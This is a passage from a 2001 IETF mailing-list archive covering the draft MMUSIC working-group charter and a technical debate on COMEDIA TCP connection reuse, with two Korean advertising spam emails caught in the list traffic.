   * Yves Deswarte, LAAS CNRS, France
   * Dieter Gollmann, Microsoft Research, UK
   * Ruediger Grimm, TU Ilmenau, Germany
   * Patrick Horster, Universitaet Klagenfurt, Austria
   * Steve Kent, BBN, USA
   * Klaus Keus, BSI, Germany
   * Herbert Leitold, IAIK, Austria
   * Peter Lipp, IAIK, Austria
   * Antonio Lioy, Politecnico di Torino, Italy
   * Guenther Pernul, University of Essen, Germany
   * Bart Preneel, Katholieke Universiteit Leuven, Belgium 
   * Fabien A. P. Petitcolas, Microsoft Research, UK
   * Wolfgang Schneider, SIT Fraunhofer Gesellschaft, Germany 
   * Leon Strous, De Nederlandsche Bank, chairman IFIP TC11, Netherlands

From confctrl-owner  Mon Dec 17 07:19:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA26156
	for confctrl-outgoing; Mon, 17 Dec 2001 07:19:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA26151
	for <confctrl@zephyr.isi.edu>; Mon, 17 Dec 2001 07:19:04 -0800 (PST)
Received: from auemail1.firewall.lucent.com (auemail1.lucent.com [192.11.223.161])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBHFJpg22799;
	Mon, 17 Dec 2001 07:19:51 -0800 (PST)
Received: from uk0006exch001h.wins.lucent.com (h135-86-160-150.lucent.com [135.86.160.150])
	by auemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fBHFJi500365;
	Mon, 17 Dec 2001 10:19:44 -0500 (EST)
Received: by uk0006exch001h.uk.lucent.com with Internet Mail Service (5.5.2650.21)
	id <XK63MG36>; Mon, 17 Dec 2001 15:19:43 -0000
Message-ID: <475FF955A05DD411980D00508B6D5FB001AC3504@en0033exch001u.uk.lucent.com>
From: "Drage, Keith (Keith)" <drage@lucent.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, "'Colin Perkins'" <csp@ISI.EDU>
Cc: "'mmusic@ietf.org'" <mmusic@ietf.org>
Subject: RE: Draft MMUSIC Charter
Date: Mon, 17 Dec 2001 15:19:33 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

For the dates, can you clarify what stage in the process that represents? I
assume submission for IESG last call.

As offer/answer is a normative reference from the bis draft for SIP, and
that is intended to go into IESG last call in mid January, then we possibly
need to pull the dates in a couple of weeks.

Keith

Keith Drage
Lucent Technologies
Tel: +44 1793 776249
Email: drage@lucent.com

> ----------
> From: 	Colin Perkins[SMTP:csp@ISI.EDU]
> Sent: 	14 December 2001 4:12
> To: 	confctrl@ISI.EDU
> Cc: 	mmusic@ietf.org
> Subject: 	Draft MMUSIC Charter
> 
> Folks,
> 
> I enclose our draft for a new MMUSIC charter, comments would be
> appreciated. 
> 
> Note that the new mailing list is now ready for subscription, and that we
> will be discontinuing use of the confctrl@isi.edu list shortly. You should
> subscribe to the new list - we will not be automatically transferring
> subscriptions.
> 
> Colin and Joerg
> 
> 
> 
> 
> 
> Multiparty MUltimedia SessIon Control (MMUSIC)
> ==============================================
> 
> WG chairs:
> 
> Joerg Ott, ipDialog, Inc. <jo@ipdialog.com>
> Colin Perkins, USC/ISI    <csp@isi.edu>
> 
> Mailing Lists: 
> 
> General Discussion:  mmusic@ietf.org
> To Subscribe:	     mmusic-request@ietf.org
> Info & Archive:	     http://www.ietf.org/mailman/listinfo/mmusic
> Additional web page: http://www.dmn.tzi.de/ietf/mmusic/
> 
> Description of Working Group: 
> 
> The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG)
> was chartered to develop protocols to support Internet
> teleconferencing sessions.  These protocols are now reasonably mature,
> and many of them have received widespread deployment.  MMUSIC is now
> focussing on the revisions of these in the light of implementation
> experience and additional demands that have arisen from other WGs
> (such as AVT, SIP, SIPPING, and MEGACO).
> 
> All types of multimedia communications are based upon a common
> platform for expressing media streams (session) descriptions. This is
> the session description protocol, SDP.  The many uses of SDP have led
> to (requests for) numerous extensions, and have led to recognition of
> several flaws in the protocol design for key applications of SDP.
> MMUSIC will revise the SDP specification suitable for publication as a
> draft standard to address minor revision and further support the
> current broad deployment.  Work on an SDP MIB will be considered.
> 
> A few extensions to SDP will be pursued to remedy the most urgent of
> SDP's shortcomings: However, these are limited to, adding means for
> identifying and semantically grouping media sessions, providing
> limited expressiveness for simultaneous capabilities, offering support
> to work with NATs and firewalls, and documenting the use of SDP in SIP
> as a separate document.  Apart from these, only extensions within the
> existing framework of SDP will be done -- such as registering new
> codecs and defining parameters for them as well as extending SDP to
> include new address families.
> 
> Instead, to address the more fundamental issues with SDP, a next
> generation of SDP -- referred to as SDPng -- will be developed as a
> standards track document.  A requirements document will be devised
> that gathers the individual requirements from the areas in which SDP
> is currently deployed.  Work on an SDPng MIB will be considered.
> 
> MMUSIC will continue to maintain and revise the specification of the
> Real Time Streaming Protocol (RTSP) based on implementation
> experience.  The RTSP spec will be revised to include various fixes
> and clarifications.  Depending on the changes, the revised RTSP spec
> will be re-issued as Proposed or go to Draft Standard.  A MIB will
> also be defined.
> 
> The WG's work items will be pursued in close coordination with other
> IETF WGs related to multimedia conferencing and IP telephony (AVT,
> SIP, SIPPING, IPTEL, MEGACO).  Where appropriate, new separate working
> groups will be split off (as has happened with the SIP WG).
> 
> The Working Group is also charged with addressing security issues
> related to the protocols it develops.
> 
> 
> Goals and Milestones:
> 
> DONE   Submit ATM Extensions to SDP for Proposed Standard
> 
> DONE   Submit Mbus transport for Informational
> 
> DONE   Submit ATM Extensions to SDP for Proposed Standard
> 
> Dec 01 Submit SDP simultaneous capabilities for Proposed Standard
> 
> Dec 01 Submit SDP Flow Identification for Proposed Standard
> 
> Jan 02 Submit IPv6 Extensions to SDP for Proposed Standard
> 
> Feb 02 Submit revised SDP spec for Proposed (or Draft) Standard
> 
> Feb 02 Submit SIP's offer/answer use of SDP for Proposed Standard
> 
> Mar 02 Submit SDP4NAT for Proposed Standard (Informational?) 
> 
> Mar 02 Submit SDP key management for Proposed Standard
> 
> Apr 02 Submit SDPng base spec for Proposed Standard
> 
> Apr 02 Submit SDPng audio profile for Proposed Standard
> 
> May 02 Submit revised RTSP spec for Proposed or Draft Standard (as
> appropriate)
> 
> Jun 02 Submit SDPng video profile spec for Proposed Standard
> 
> Jul 02 Submit RTSP MIB for Proposed Standard
> 

From confctrl-owner  Mon Dec 17 09:50:15 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA01489
	for confctrl-outgoing; Mon, 17 Dec 2001 09:50:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA01484
	for <confctrl@zephyr.isi.edu>; Mon, 17 Dec 2001 09:50:14 -0800 (PST)
Received: from purple.nge.isi.edu (purple.nge.isi.edu [65.114.169.200])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBHHp2g25703
	for <confctrl@ISI.EDU>; Mon, 17 Dec 2001 09:51:02 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBHHoxk03352;
	Mon, 17 Dec 2001 12:50:59 -0500
Message-Id: <200112171750.fBHHoxk03352@purple.nge.isi.edu>
To: "Drage, Keith (Keith)" <drage@lucent.com>
cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "'mmusic@ietf.org'" <mmusic@ietf.org>
Subject: Re: [MMUSIC] RE: Draft MMUSIC Charter 
In-Reply-To: Your message of "Mon, 17 Dec 2001 15:19:33 GMT."
             <475FF955A05DD411980D00508B6D5FB001AC3504@en0033exch001u.uk.lucent.com> 
Date: Mon, 17 Dec 2001 12:50:59 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> "Drage, Keith (Keith)" writes:
>For the dates, can you clarify what stage in the process that represents? I
>assume submission for IESG last call.

Yes.

>As offer/answer is a normative reference from the bis draft for SIP, and
>that is intended to go into IESG last call in mid January, then we possibly
>need to pull the dates in a couple of weeks.

If the draft is ready before then, we can submit it sooner. Although to do
so, we'll need to have something ready for working group last call this 
week...

Colin

From confctrl-owner  Mon Dec 17 11:45:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA06145
	for confctrl-outgoing; Mon, 17 Dec 2001 11:45:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06140
	for <confctrl@zephyr.isi.edu>; Mon, 17 Dec 2001 11:45:20 -0800 (PST)
Received: from mail2.intizen.com ([203.235.116.206])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBHJk6g17830
	for <confctrl@isi.edu>; Mon, 17 Dec 2001 11:46:07 -0800 (PST)
Received: from mail.intizen.com ([203.251.86.120]) by
          mail2.intizen.com (Netscape Messaging Server 4.15) with ESMTP id
          GOI6TI02.UKH for <confctrl@isi.edu>; Tue, 18 Dec 2001 04:44:06 +0900 
Message-ID: <17077.94_creditcard5@yahoo.co.kr>
From: "creditcard" <creditcard5@yahoo.co.kr>
To: "1471941" <confctrl@ISI.EDU>
Date: Tue, 18 Dec 2001 04:44:37 +0900
Subject: [±¤°í] ±î´Ù·Î¿î Ä«µå¹ß±ÞÀº °¡¶ó! ¹«Á¶°ÇÀû ¹ß±Þ!
MIME-Version: 1.0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>

<head>
<style type="text/css">
<!--TD{font-size: 9pt;font-family: "µ¸À½";}
<!--A:link{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:active{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:visited{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:hover{COLOR:#000000; text-decoration: underline; }td{font: 9pt ±¼¸²;}-->
-->
</style>
</head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red" onmouseout="window.status=' ';return true" onmouseover="window.status=' ';return true">
<table cellspacing=0 bordercolordark=white width="544" bgcolor="#cccccc" bordercolorlight=black align="center" border="1" cellpadding="0">
<tr>
<td width="540" height="29" bgcolor="#ff9933">
<p align="center"><b><a href="http://link.goodmatch.co.kr/lcheck/click.asp?W_id=dic4u&amp;M_id=creditcard&amp;B_id=108825" target="_blank"><font color="white" size="3" face="µ¸¿ò">¿Üȯ 
Ä«µå, Á¶Èï Ä«µå ¹«Á¶°Ç ¹ß±Þ</font></a></b></p></td>
</tr>
<tr>
<td valign=top align=middle width="540">
<table cellspacing=0 cellpadding=0 width="532" bgcolor=#ffffff border=0>
<tr>
<td height=12><center>
<table bgcolor=#efefef border="0" cellspacing=0 width="572" bordercolordark="white" bordercolorlight="black" cellpadding="0">
<TBODY>
<tr>
<td align=middle bgcolor=#efefef width="566" height="507" valign="top">
<table bgcolor=#efefef border=0 cellpadding=0 cellspacing=0 width="567" bordercolordark="white" bordercolorlight="gray">
<TBODY>
<tr>
<td align=middle width="181" height="97" background="http://www.goodmatch.co.kr/skin/images/top1.gif"></td>
<td align=middle width="221" height="97" background="http://www.goodmatch.co.kr/skin/images/top2.gif">
<p>&nbsp;</p>
</td>
<td align=middle height="97" background="http://www.goodmatch.co.kr/skin/images/top3.gif">
<p>&nbsp;</p>
</td>
</tr>
</TBODY>
</table>
<br>
<table bgcolor=#efefef border=0 cellpadding=0 cellspacing=0 height=30 width="564">
<TBODY>
<tr>
<td width="564"><img src="http://www.goodmatch.co.kr/skin/images/text_keb.gif"></td>
</tr>
<tr>
<td width="564" height="17"><img src="http://www.goodmatch.co.kr/skin/images/text_chb.gif"></td>
</tr>
</TBODY>
</table>
<p><br></p>
<table bgcolor=#efefef border=0 cellpadding=0 cellspacing=0 width="553">
<tr align=middle height=100>
<td><img border=0 src="http://www.goodmatch.co.kr/skin/images/banner_keb.gif"></td>
<td><img border=0 src="http://www.goodmatch.co.kr/skin/images/banner_chb.gif"></td>
</tr></table>
<br>&nbsp;
<p><a href="http://link.goodmatch.co.kr/lcheck/click.asp?W_id=dic4u&amp;M_id=creditcard&amp;B_id=108825" target="_blank"><img src="http://www.goodmatch.co.kr/skin/images/button1.gif" width="168" height="24" border="0"></a></p></td></tr>
</TBODY>
</table></center>
</td>
</tr>
</table></td>
</tr>
<tr>
<td valign="center" align=middle height="13" width="540">&nbsp;</td>
</tr>
</table>
<p><br></p>
<table border="1" align="center" cellspacing="0" bordercolordark="white" bordercolorlight="#009900" width="575">
<tr>
<td valign="top" width="569">
<table border="0" cellpadding="10" width="569" style="HEIGHT: 153px; WIDTH: 569px" 
     >
<tr>
<td colspan="2" width="545">
<p style="LINE-HEIGHT: 130%">¢¹&nbsp;º» ¸ÞÀÏÀº Á¤º¸Åë½Å¸ÁÀÌ¿ëÃËÁø¹ý 
±ÔÁ¤¿¡ µû¶ó [±¤°í] ¸ÞÀÏÀÓÀ» Ç¥½ÃÇÏ¿´À¸¸ç, [¼ö½Å°ÅºÎ] 
ÀåÄ¡¸¦ ¸¶·ÃÇÏ°í ÀÖ½À´Ï´Ù.<br>¢¹&nbsp;±ÍÇÏÀÇ ÀüÀÚ¿ìÆí 
ÁÖ¼Ò´Â ÀÎÅÍ³Ý »óÀÇ °ø°³µÈ Àå¼Ò¿¡¼­ ½ÀµæÇÏ¿´À¸¸ç, ÀüÀÚ¿ìÆí 
ÁÖ¼Ò ¿Ü¿¡ ¾î¶°ÇÑ °³ÀÎ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾Ê½À´Ï´Ù.<br>¢¹&nbsp;¿øÄ¡¾ÊÀº 
Á¤º¸¿´´Ù¸é Á¤ÁßÈ÷ »ç°ú µå¸®¸ç, ¼ö½Å °ÅºÎ¸¦ ÇØÁֽøé 
´ÙÀ½ºÎÅÍ´Â ¸ÞÀÏÀÌ ¹ß¼ÛµÇÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù.</p>
</td>
</tr>
<tr>
<td align="middle">
<p align="center"><a href="http://wwwn.intizen.com/moviemoa/unsub.asp?flag=creditcard&amp;email=confctrl@isi.edu"><img border=0 src="http://wwwn.intizen.com/moviemoa/mailunsub.gif" width="154" height="40"></a></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>

</html>


From confctrl-owner  Mon Dec 17 11:50:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA06403
	for confctrl-outgoing; Mon, 17 Dec 2001 11:50:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06398
	for <confctrl@zephyr.isi.edu>; Mon, 17 Dec 2001 11:50:37 -0800 (PST)
Received: from mail2.intizen.com ([203.235.116.206])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBHJpNg19753
	for <confctrl@isi.edu>; Mon, 17 Dec 2001 11:51:23 -0800 (PST)
Received: from mail.intizen.com ([203.251.86.120]) by
          mail2.intizen.com (Netscape Messaging Server 4.15) with ESMTP id
          GOI6YR03.HLC for <confctrl@isi.edu>; Tue, 18 Dec 2001 04:47:15 +0900 
Message-ID: <17266.66_insuwa@yahoo.co.kr>
From: "insuwa" <insuwa@yahoo.co.kr>
To: "1471941" <confctrl@ISI.EDU>
Date: Tue, 18 Dec 2001 04:47:46 +0900
Subject: [±¤°í] ÀÚµ¿Â÷º¸Çè·á - º¸Çè»ç¿¡ µû¶ó ÃÖ°í 114¸¸¿ø Â÷ÀÌ!!
MIME-Version: 1.0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>
<head>
<style type="text/css">
<!--TD{font-size: 9pt;font-family: "µ¸À½";}
<!--A:link{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:active{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:visited{COLOR:#000000; font:text-decoration: none;text-decoration: none;}A:hover{COLOR:#000000; text-decoration: underline; }td{font: 9pt ±¼¸²;}-->
-->
</style>
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red" onmouseout="window.status=' ';return true" onmouseover="window.status='http://www.insuwa.com/';return true">
<table cellspacing=0 bordercolordark=white width="533" bgcolor="#cccccc" bordercolorlight=black align="center" border="1" cellpadding="0">
<tr>
<td width="529" height="29" bgcolor="#ff9933">
<p align="center"><b><a href="http://www.insuwa.com/index.htm?netpoint=dic4u" target="_blank"><span style="FONT-SIZE: 12pt" 
     ><font color="white">°í°´¸¸Á·ÁÖÀÇ 
ÀÚµ¿Â÷º¸Çè - Àν´¿Í´åÄÄ</font></span></a></b></p></td>
</tr>
<tr>
<td valign=top align=middle width="529">
<table cellspacing=0 cellpadding=0 width="532" bgcolor=#ffffff border=0>
<tr>
<td width="532" height=12>
<table border="0" cellpadding="0" cellspacing="0" width="531" background="http://wwwn.intizen.com/moviemoa/images2/back.gif">
<tr>
<td width="531" colspan="2">
<p><img src="http://wwwn.intizen.com/moviemoa/images2/Image1.gif" width="532" height="75" border="0"></p>
</td>
</tr>
<tr>
<td width="531" align="middle" colspan="2" height="71" valign="bottom">
<p><img src="http://wwwn.intizen.com/moviemoa/images2/Image3.gif" width="361" height="50" border="0"></p>
</td>
</tr>
<tr>
<td width="531" height="111" align="middle" colspan="2">
<p><img src="http://wwwn.intizen.com/moviemoa/images2/Image2.gif" width="195" height="70" border="0"></p>
</td>
</tr>
<tr>
<td width="113" align="right" height="41">
<p>&nbsp;</p>
</td>
<td width="418" height="41" valign="top">
<p><img src="http://wwwn.intizen.com/moviemoa/images2/Image4.gif" width="240" height="30" border="0"></p>
</td>
</tr>
<tr>
<td width="113" height="23">
<p>&nbsp;</p>
</td>
<td width="418" height="23">
<ul>
<li style="LINE-HEIGHT: 130%"><font color="navy">º¸Çè»ç¿¡ 
µû¶ó ÃÖ°í </font><font color="#ff0033"><b>114¸¸¿ø 
Â÷ÀÌ</b></font><font color="navy">°¡ 
³³´Ï´Ù.</font>
<li style="LINE-HEIGHT: 130%"><font color="navy">ºñ±³°ßÀû¿¡¼­ 
Àú·ÅÇÑ º¸Çè°¡ÀÔ±îÁö!</font>
<li style="LINE-HEIGHT: 130%"><font color="navy">Àν´¿Í´åÄÄ(insuwa.com)¿¡¼­ 
ÇØ°áÇØ µå¸³´Ï´Ù.</font></li>
</ul>
</td>
</tr>
<tr>
<td width="113" height="29" align="right">
<p>&nbsp;</p>
</td>
<td width="418" height="29" valign="bottom">
<p><img src="http://wwwn.intizen.com/moviemoa/images2/Image5.gif" width="240" height="30" border="0"></p>
</td>
</tr>
<tr>
<td width="113" height="8">
<p>&nbsp;</p>
</td>
<td width="418" height="8">
<p>&nbsp;</p>
</td>
</tr>
<tr>
<td width="113" height="30">
<p>&nbsp;</p>
</td>
<td width="418" height="30">
<ul>
<li style="LINE-HEIGHT: 130%"><font color="navy">°ßÀûÀÇ·Ú¸¸ 
Çصµ ¼±¹°À» ¹ÞÀ¸½Ç ±âȸ°¡ ÁÖ¾îÁý´Ï´Ù.</font>
<li style="LINE-HEIGHT: 130%"><font color="navy">¹«·á·Î 
ºñ±³°ßÀûµµ ³»°í, ¼±¹°µµ ¹Þ°í, Á¤¸» ÁÁÀº 
±âȸÁÒ?</font></li>
</ul>
</td>
</tr>
<tr>
<td width="531" height="52" align="middle" colspan="2">
<p><a href="http://www.insuwa.com/index.htm?netpoint=dic4u" target="_blank"><img src="http://wwwn.intizen.com/moviemoa/images2/Image6.gif" width="157" height="22" border="0"></a></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td valign="center" align=middle height="26" width="529">Copyright(c) 
2001 <a class=black2>Insuwa.com</a> and <a class=black2>World-insu.com</a> 
corp</td>
</tr>
</table>
<p><br></p>
<table border="1" align="center" cellspacing="0" bordercolordark="white" bordercolorlight="#009900" width="534">
<tr>
<td valign="top" width="528">
<table border="0" cellpadding="10" width="529">
<tr>
<td colspan="2" width="505">
<p style="LINE-HEIGHT: 130%"><span style="FONT-SIZE: 9pt">¢¹&nbsp;º» 
¸ÞÀÏÀº Á¤º¸Åë½Å¸ÁÀÌ¿ëÃËÁø¹ý ±ÔÁ¤À» ÁؼöÇÏ¿© [±¤°í] ¸ÞÀÏÀÓÀ» 
Ç¥½ÃÇÏ¿´À¸¸ç, [¼ö½Å°ÅºÎ] ÀåÄ¡¸¦ ¸¶·ÃÇÏ°í ÀÖ½À´Ï´Ù.<br>¢¹&nbsp;±ÍÇÏÀÇ 
ÀüÀÚ¿ìÆí ÁÖ¼Ò´Â ÀÎÅÍ³Ý »óÀÇ °ø°³µÈ Àå¼Ò¿¡¼­ ½ÀµæÇÏ¿´À¸¸ç, 
ÀüÀÚ¿ìÆí ÁÖ¼Ò ¿Ü¿¡ ¾î¶°ÇÑ °³ÀÎ Á¤º¸µµ °¡Áö°í ÀÖÁö ¾Ê½À´Ï´Ù.<br>¢¹&nbsp;¿øÄ¡¾ÊÀº 
Á¤º¸¿´´Ù¸é Á¤ÁßÈ÷ »ç°ú µå¸®¸ç, ¼ö½Å °ÅºÎ¸¦ ÇØÁֽøé 
´ÙÀ½ºÎÅÍ´Â ¸ÞÀÏÀÌ ¹ß¼ÛµÇÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù.</span></p>
</td>
</tr>
<tr>
<td width="278">
<p style="LINE-HEIGHT: 120%"><span style="FONT-SIZE: 9pt">¢¹&nbsp;¸ÞÀÏ 
¼Û½ÅÀÚ Á¤º¸<br>À̸§: ¼Õº´¹®<br>Email: sbm0615@yahoo.co.kr</span></p>
</td>
<td align="middle" width="205">
<p style="LINE-HEIGHT: 110%"><a href="http://wwwn.intizen.com/moviemoa/unsub.asp?flag=insuwa&amp;email=confctrl@isi.edu"><img border=0 src="http://wwwn.intizen.com/moviemoa/mailunsub.gif" width="154" height="40"></a></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>



From confctrl-owner  Tue Dec 18 05:53:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA13699
	for confctrl-outgoing; Tue, 18 Dec 2001 05:53:06 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA13694
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 05:53:04 -0800 (PST)
Received: from dnimail.Dialout.net ([206.183.139.197])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA20182
	for <confctrl@ISI.EDU>; Tue, 18 Dec 2001 05:53:06 -0800 (PST)
content-class: urn:content-classes:message
Subject: Comedia/reuse motivations
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Tue, 18 Dec 2001 08:53:06 -0500
Message-ID: <DCFB33B6D8BCC54B8219D8B90645866E13BF11@dnimail.Dialout.net>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Comedia/reuse motivations
Thread-Index: AcGD7sqpNEpyl91lTJW1FQ/C0Qwz+QD2wyXQ
From: "David Yon" <Yon@Dialout.net>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: "confctrl@isi.edu" <confctrl@ISI.EDU>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id FAA13695
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


For the moment I think it's worthwhile to explore the motivations that
originally begat direction:reuse, and do so separately from the solution
to the motivation.  I'm sorry if I'm being a bit dense, but I'm just not
getting it.

Most of your concern seems to be about scalability.  Let's address this
first, and feel free to chime in with other concerns I may have missed.
In particular, I take some issue this this statement:

	In the comedia tcp case, I have to keep a listener active
listening for
	new connections on the port. Then for each connection, I have to
keep a
	receiver active receiving packets. So in thread based
implementation,
	instead of one thread for receiving, I need a minimum of two -
possibly
	more if I receive multiple connections. This will make using
comedia
	*significantly* more expensive than using UDP, over and above
the
	inherent extra cost of a TCP connection.

So you're saying that compared to UDP, a TCP implementation is a 2X hit
on resources, because you need twice as many threads.  The assertion is
that you need one thread to be a listener and 2nd thread to be a media
pump once the connection has been established.  Again, I don't get it.
Once you've accepting the connection advertised in the SDP, why is the
listener thread needed?  You've fulfilled your promise to the endpoint
and are under no obligation to accept another connection.  In fact, why
two threads?  Just have a single thread to do listen, accept, close
listener, then pump media.

If I'm missing something, and you really do need to dedicate a listener
for the lifetime of the session, this *still* isn't a 2X hit.  Any
implementation with scalability in mind could simply adopt an
inetd-style approach and use a single thread to do listen/accept for a
group of listener sockets, turning the problem into a much more
palatable X+1 scaling problem rather than 2X.

So:

	- Is this the only problem that motivated reuse?

	- Am I missing something on your concern for threading?


From confctrl-owner  Tue Dec 18 08:56:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA19913
	for confctrl-outgoing; Tue, 18 Dec 2001 08:56:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA19908
	for <confctrl@zephyr.isi.edu>; Tue, 18 Dec 2001 08:56:37 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBIGvPg25894
	for <confctrl@ISI.EDU>; Tue, 18 Dec 2001 08:57:25 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBIGvQ024607;
	Tue, 18 Dec 2001 11:57:26 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH01522 (AUTH pkyzivat);
	Tue, 18 Dec 2001 11:58:42 -0500 (EST)
Message-ID: <3C1F747A.9D7B945B@cisco.com>
Date: Tue, 18 Dec 2001 11:53:14 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <Yon@Dialout.net>
CC: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Comedia/reuse motivations
References: <DCFB33B6D8BCC54B8219D8B90645866E13BF11@dnimail.Dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

	Paul

David Yon wrote:
> 
> For the moment I think it's worthwhile to explore the motivations that
> originally begat direction:reuse, and do so separately from the solution
> to the motivation.  I'm sorry if I'm being a bit dense, but I'm just not
> getting it.
> 
> Most of your concern seems to be about scalability.  Let's address this
> first, and feel free to chime in with other concerns I may have missed.
> In particular, I take some issue this this statement:
> 
>         In the comedia tcp case, I have to keep a listener active
> listening for
>         new connections on the port. Then for each connection, I have to
> keep a
>         receiver active receiving packets. So in thread based
> implementation,
>         instead of one thread for receiving, I need a minimum of two -
> possibly
>         more if I receive multiple connections. This will make using
> comedia
>         *significantly* more expensive than using UDP, over and above
> the
>         inherent extra cost of a TCP connection.
> 
> So you're saying that compared to UDP, a TCP implementation is a 2X hit
> on resources, because you need twice as many threads.  The assertion is
> that you need one thread to be a listener and 2nd thread to be a media
> pump once the connection has been established.  Again, I don't get it.
> Once you've accepting the connection advertised in the SDP, why is the
> listener thread needed?  You've fulfilled your promise to the endpoint
> and are under no obligation to accept another connection.  In fact, why
> two threads?  Just have a single thread to do listen, accept, close
> listener, then pump media.

This is exactly what I would like to do!

But doing this requires that all parties agree on when connections may
be established and when they may not. It is uncertainty over when this
is that forces a listener to be active at all times. What I am trying to
do is get verbage in the comedia specification that permits this kind of
behavior.

The most obvious problem is with reinvites:

Suppose I do as you suggest on the initial invite. As soon as I get a
connection, I stop listening and start receiving media. 
- suppose there is a subsequent reinvite that isn't intended to 
  affect this media stream. So I have to duplicate all the SDP
  from the prior invite.
- MUST the other end now make a new connection? (hopefully not)
- MAY the other end now make a new connection? 
  (recovery scenarios may require this)
- must I now listen again on the listening port?
- how long should I wait for a new connection before I cease listening?

The added verbage that you reported last week makes things even worse,
because it seems to imply that anybody should be able to connect to the
port at any time. I suppose that makes the functionality more like the
UDP case, where any number of sources can potentially send packets at
the published UDP destination. And it makes some sense SIP multicast and
non-sip (e.g. SAP) publishings of SDP. But it makes the receiver very
heavyweight - probably unsuitable for use in SIP point-to-point
applications.

> 
> If I'm missing something, and you really do need to dedicate a listener
> for the lifetime of the session, this *still* isn't a 2X hit.  Any
> implementation with scalability in mind could simply adopt an
> inetd-style approach and use a single thread to do listen/accept for a
> group of listener sockets, turning the problem into a much more
> palatable X+1 scaling problem rather than 2X.

Yes, I know it needn't be quite so bad given the proper development
environment. But there are still environments where this isn't a viable
technique. And even when it is, the listening ports can become a scarce
resource. Effectively I need twice as many ports.

> 
> So:
> 
>         - Is this the only problem that motivated reuse?
> 
>         - Am I missing something on your concern for threading?

Ports as a scarce resource is another concern.

This would not be an issue if a server could use a single listening port
for all comedia sessions it negotiates. But this requires a way to
